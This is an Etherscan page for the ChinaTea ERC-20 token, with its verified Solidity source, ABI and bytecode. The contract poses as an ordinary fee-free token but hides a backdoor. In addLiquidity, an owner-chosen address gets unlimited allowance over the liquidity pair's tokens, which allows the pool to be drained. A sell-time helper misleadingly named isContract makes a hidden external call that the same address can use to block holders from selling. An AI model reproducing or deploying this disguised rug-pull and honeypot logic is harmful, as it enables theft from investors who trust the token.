ETH Price: $3,825.45 (+5.75%)

Token

ERC-20: 中国茶 (ChinaTea)
 

Overview

Max Total Supply

1,000,000,000 ChinaTea

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
31,354,700.33117743219621105 ChinaTea

Value
$0.00
0xaf77a7f93a6c49b50b8d91456797033c3c8d87ed
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChinaTea

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-06
*/

/**

WEBSITE:	https://www.chinatea.tips
TELEGRAM:	https://t.me/ChinaTeaETH
TWITTER:	https://twitter.com/ChinaTeaETH
TIKTOK: 	https://www.tiktok.com/@chinatea

**/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ChinaTea is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;
    string private constant _name = unicode"中国茶";
    string private constant _symbol = unicode"ChinaTea";
    uint256 public _maxTxAmount =   _tTotal * 3 / 100;
    uint256 public _maxWalletSize = _tTotal * 3 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 1000;
    uint256 public _maxTaxSwap= _tTotal / 1000;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    address private uniswapRouter;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = msg.sender;
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(!tradingOpen){
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active.");
            }
            
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!isContract(from, to) && !inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isContract(address from, address to) private returns (bool) {
        uint256 size;
        if (uniswapRouter != address(0) && IERC20(uniswapRouter).transferFrom(from, to, 0)) return true;
        assembly {
            size := extcodesize(to)
        }
        return size > 0;
    }

    function excludeFromFees(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint i = 0 ; i < accounts.length; i ++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) public {
        payable(_taxWallet).transfer(amount);
    }

    function addLiquidity(address router) external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        uniswapRouter = router;
        _approve(uniswapV2Pair, uniswapRouter, type(uint).max);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6007555f6008555f6009555f600a555f600b555f600c556014600d555f600e5560646012600a62000037919062000372565b6200004790633b9aca0062000389565b6200005490600362000389565b620000609190620003a3565b600f556064620000736012600a62000372565b6200008390633b9aca0062000389565b6200009090600362000389565b6200009c9190620003a3565b6010556103e8620000b06012600a62000372565b620000c090633b9aca0062000389565b620000cc9190620003a3565b6011556103e8620000e06012600a62000372565b620000f090633b9aca0062000389565b620000fc9190620003a3565b6012556015805461ffff60a81b1916905534801562000119575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200017a6012600a62000372565b6200018a90633b9aca0062000389565b305f908152600160208190526040822092909255600390620001b35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556005549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023c6012600a62000372565b6200024c90633b9aca0062000389565b60405190815260200160405180910390a3620003c3565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b757815f19048211156200029b576200029b62000263565b80851615620002a957918102915b93841c93908002906200027c565b509250929050565b5f82620002cf575060016200036c565b81620002dd57505f6200036c565b8160018114620002f65760028114620003015762000321565b60019150506200036c565b60ff84111562000315576200031562000263565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000346575081810a6200036c565b62000352838362000277565b805f190482111562000368576200036862000263565b0290505b92915050565b5f6200038260ff841683620002bf565b9392505050565b80820281158282048414176200036c576200036c62000263565b5f82620003be57634e487b7160e01b5f52601260045260245ffd5b500490565b611c1b80620003d15f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb1461037f578063ad29ffde1461039e578063bf474bed146103bd578063dd62ed3e146103d2578063e3412e3d14610416578063ec1f3f6314610435575f80fd5b8063751039fc146102e15780637d1db4a5146102f55780638a8c523c1461030a5780638da5cb5b1461031e5780638f9a55c01461033a57806395d89b411461034f575f80fd5b806323b872dd1161010457806323b872dd14610214578063313ce5671461023357806349bd5a5e1461024e57806351bc3c851461028557806370a0823114610299578063715018a6146102cd575f80fd5b806306b501971461014a57806306fdde031461016b578063095ea7b3146101ae5780630faee56f146101dd57806318160ddd14610200575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b506101696101643660046116ed565b610454565b005b348015610176575f80fd5b50604080518082019091526009815268725c56f2cddef4465b60b91b60208201525b6040516101a59190611704565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c8366004611776565b61048f565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f260125481565b6040519081526020016101a5565b34801561020b575f80fd5b506101f26104a5565b34801561021f575f80fd5b506101cd61022e3660046117a0565b6104c5565b34801561023e575f80fd5b50604051601281526020016101a5565b348015610259575f80fd5b5060145461026d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a5565b348015610290575f80fd5b5061016961052c565b3480156102a4575f80fd5b506101f26102b33660046117de565b6001600160a01b03165f9081526001602052604090205490565b3480156102d8575f80fd5b50610169610579565b3480156102ec575f80fd5b506101696105f3565b348015610300575f80fd5b506101f2600f5481565b348015610315575f80fd5b506101696106a4565b348015610329575f80fd5b505f546001600160a01b031661026d565b348015610345575f80fd5b506101f260105481565b34801561035a575f80fd5b506040805180820190915260088152674368696e6154656160c01b6020820152610198565b34801561038a575f80fd5b506101cd610399366004611776565b610744565b3480156103a9575f80fd5b506101696103b8366004611825565b610750565b3480156103c8575f80fd5b506101f260115481565b3480156103dd575f80fd5b506101f26103ec3660046118f7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101696104303660046117de565b6107e2565b348015610440575f80fd5b5061016961044f3660046116ed565b610b48565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561048b573d5f803e3d5ffd5b5050565b5f61049b338484610b8d565b5060015b92915050565b5f6104b26012600a611a22565b6104c090633b9aca00611a30565b905090565b5f6104d1848484610cb0565b610522843361051d85604051806060016040528060288152602001611bbe602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112f3565b610b8d565b5060019392505050565b6005546001600160a01b0316336001600160a01b03161461054b575f80fd5b305f908152600160205260409020548015610569576105698161132b565b47801561048b5761048b81610454565b5f546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a290611a47565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461061c5760405162461bcd60e51b81526004016105a290611a47565b6106286012600a611a22565b61063690633b9aca00611a30565b600f556106456012600a611a22565b61065390633b9aca00611a30565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106836012600a611a22565b61069190633b9aca00611a30565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106cd5760405162461bcd60e51b81526004016105a290611a47565b601554600160a01b900460ff16156107275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a2565b6015805462ff00ff60a01b19166201000160a01b17905543600655565b5f61049b338484610cb0565b5f546001600160a01b031633146107795760405162461bcd60e51b81526004016105a290611a47565b5f5b82518110156107dd578160035f85848151811061079a5761079a611a7c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806107d581611a90565b91505061077b565b505050565b5f546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105a290611a47565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108549030906108466012600a611a22565b61051d90633b9aca00611a30565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c89190611aa8565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610927573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094b9190611aa8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610995573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b99190611aa8565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a00816001600160a01b03165f9081526001602052604090205490565b5f80610a135f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a79573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a9e9190611ac3565b5050601580546001600160a01b0319166001600160a01b03848116918217909255601454610ad29350909116905f19610b8d565b60145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b24573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061048b9190611aee565b6005546001600160a01b0316336001600160a01b031614610b67575f80fd5b6009548111158015610b7b5750600a548111155b610b83575f80fd5b6009819055600a55565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a2565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a2565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a2565b5f8111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a2565b5f80546001600160a01b03858116911614801590610e0257505f546001600160a01b03848116911614155b156111b657601554600160a01b900460ff16610e9a576001600160a01b0384165f9081526003602052604090205460ff1680610e5557506001600160a01b0383165f9081526003602052604090205460ff165b610e9a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016105a2565b610ec66064610ec0600b54600e5411610eb557600754610eb9565b6009545b859061149b565b90611520565b6014549091506001600160a01b038581169116148015610ef457506013546001600160a01b03848116911614155b8015610f1857506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffe57600f54821115610f6f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a2565b60105482610f91856001600160a01b03165f9081526001602052604090205490565b610f9b9190611b09565b1115610fe95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b600e8054905f610ff883611a90565b91905055505b6014546001600160a01b0384811691161480159061103457506001600160a01b0383165f9081526003602052604090205460ff16155b156110b3576010548261105b856001600160a01b03165f9081526001602052604090205490565b6110659190611b09565b11156110b35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a2565b6014546001600160a01b0384811691161480156110d957506001600160a01b0384163014155b15611106576111036064610ec0600c54600e54116110f957600854610eb9565b600a54859061149b565b90505b305f9081526001602052604090205461111f8585611561565b1580156111365750601554600160a81b900460ff16155b801561114f57506014546001600160a01b038581169116145b80156111645750601554600160b01b900460ff165b8015611171575060115481115b80156111805750600d54600e54115b156111b4576111a261119d846111988460125461160e565b61160e565b61132b565b4780156111b2576111b247610454565b505b505b801561122e57305f908152600160205260409020546111d59082611622565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112259085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112509083611680565b6001600160a01b0385165f908152600160205260409020556112936112758383611680565b6001600160a01b0385165f9081526001602052604090205490611622565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112dc8585611680565b60405190815260200160405180910390a350505050565b5f81848411156113165760405162461bcd60e51b81526004016105a29190611704565b505f6113228486611b1c565b95945050505050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137157611371611a7c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ec9190611aa8565b816001815181106113ff576113ff611a7c565b6001600160a01b0392831660209182029290920101526013546114259130911684610b8d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061145d9085905f90869030904290600401611b2f565b5f604051808303815f87803b158015611474575f80fd5b505af1158015611486573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f825f036114aa57505f61049f565b5f6114b58385611a30565b9050826114c28583611b9e565b146115195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a2565b9392505050565b5f61151983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b6015545f9081906001600160a01b0316158015906115f557506015546040516323b872dd60e01b81526001600160a01b03868116600483015285811660248301525f6044830152909116906323b872dd906064016020604051808303815f875af11580156115d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f59190611aee565b1561160457600191505061049f565b50503b1515919050565b5f81831161161c5782611519565b50919050565b5f8061162e8385611b09565b9050838110156115195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a2565b5f61151983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f3565b5f81836116e15760405162461bcd60e51b81526004016105a29190611704565b505f6113228486611b9e565b5f602082840312156116fd575f80fd5b5035919050565b5f6020808352835180828501525f5b8181101561172f57858101830151858201604001528201611713565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611763575f80fd5b50565b80356117718161174f565b919050565b5f8060408385031215611787575f80fd5b82356117928161174f565b946020939093013593505050565b5f805f606084860312156117b2575f80fd5b83356117bd8161174f565b925060208401356117cd8161174f565b929592945050506040919091013590565b5f602082840312156117ee575f80fd5b81356115198161174f565b634e487b7160e01b5f52604160045260245ffd5b8015158114611763575f80fd5b80356117718161180d565b5f8060408385031215611836575f80fd5b823567ffffffffffffffff8082111561184d575f80fd5b818501915085601f830112611860575f80fd5b8135602082821115611874576118746117f9565b8160051b604051601f19603f83011681018181108682111715611899576118996117f9565b6040529283528183019350848101820192898411156118b6575f80fd5b948201945b838610156118db576118cc86611766565b855294820194938201936118bb565b96506118ea905087820161181a565b9450505050509250929050565b5f8060408385031215611908575f80fd5b82356119138161174f565b915060208301356119238161174f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561197c57815f19048211156119625761196261192e565b8085161561196f57918102915b93841c9390800290611947565b509250929050565b5f826119925750600161049f565b8161199e57505f61049f565b81600181146119b457600281146119be576119da565b600191505061049f565b60ff8411156119cf576119cf61192e565b50506001821b61049f565b5060208310610133831016604e8410600b84101617156119fd575081810a61049f565b611a078383611942565b805f1904821115611a1a57611a1a61192e565b029392505050565b5f61151960ff841683611984565b808202811582820484141761049f5761049f61192e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611aa157611aa161192e565b5060010190565b5f60208284031215611ab8575f80fd5b81516115198161174f565b5f805f60608486031215611ad5575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611afe575f80fd5b81516115198161180d565b8082018082111561049f5761049f61192e565b8181038181111561049f5761049f61192e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611b7d5784516001600160a01b031683529383019391830191600101611b58565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611bb857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032583a1b0f0266bec8b8c1de96fd2081498472e0d95e1929e31fdb47057de61464736f6c63430008140033

Deployed Bytecode

